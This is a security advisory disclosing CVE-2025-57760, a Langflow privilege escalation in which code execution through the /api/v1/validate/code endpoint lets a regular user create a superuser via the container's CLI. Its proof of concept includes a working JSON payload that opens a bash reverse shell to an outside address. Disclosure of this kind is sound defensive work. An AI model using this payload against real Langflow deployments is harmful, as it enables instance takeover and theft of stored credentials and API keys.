Langflow Vulnerable to Privilege Escalation via CLI Superuser Creation (Post-RCE)

This vulnerability was discovered by researchers at **Check Point**. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed. ### Summary A privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command **langflow superuser** to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account. ### Details Langflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including: `langflow superuser` This command allows creation of a new superuser without checking whether one already exists. When combined with code execution (e.g., via the authenticated **/api/v1/validate/code** endpoint), a low-privileged user can execute: `/app/.venv/bin/langflow superuser` inside the container, and elevate themselves to full superuser privileges. This effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application. ### PoC 1. Start container with LANGFLOW_ENABLE_AUTH set to True. 2. Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.) <img width="1311" height="627" alt="image" src="https://github.com/user-attachments/assets/9b75bdc3-31ea-48c0-9e84-c2b168f404b3" /> 3. Exploit /api/v1/validate/code to get reverse shell Send an authenticated POST request: ``` { "code": "def foo(p=__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/192.168.1.22/4444 0>&1'\")):\n pass" } ``` 4. Inside reverse shell, create superuser: <img width="731" height="217" alt="image" src="https://github.com/user-attachments/assets/cb8497c6-0d61-414e-afe2-69bbbaf55cbc" /> 5. Log into UI as new superuser: <img width="1262" height="532" alt="image" src="https://github.com/user-attachments/assets/1f0a713d-3d61-4aa4-a25b-58f4b58c061b" /> ### Impact - Privilege escalation to superuser , complete takeover of the Langflow instance - Access to all user data, flows, stored credentials, and configuration - Credential leakage , attacker can extract third-party API keys - Exposure of environment variables (inside docker container) - Ability to run additional Langflow instances via `langflow run` inside the container, which may lead to resource exhaustion (CPU, memory) and service degradation. - Full user management , superuser can delete other users, reset their passwords

CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Severity from

GitHub (reviewed advisory)

Weakness

CWE-269

Also known as

CVE-2025-57760, PYSEC-2025-243, PYSEC-2026-1526

• github.com/langflow-ai/langflow/security/advisories/GHSA-4gv9-mp8m-592r
• github.com/langflow-ai/langflow/pull/9152
• github.com/langflow-ai/langflow/commit/c188ec113c9ca46154ad01d0eded1754cc6bef97
• github.com/langflow-ai/langflow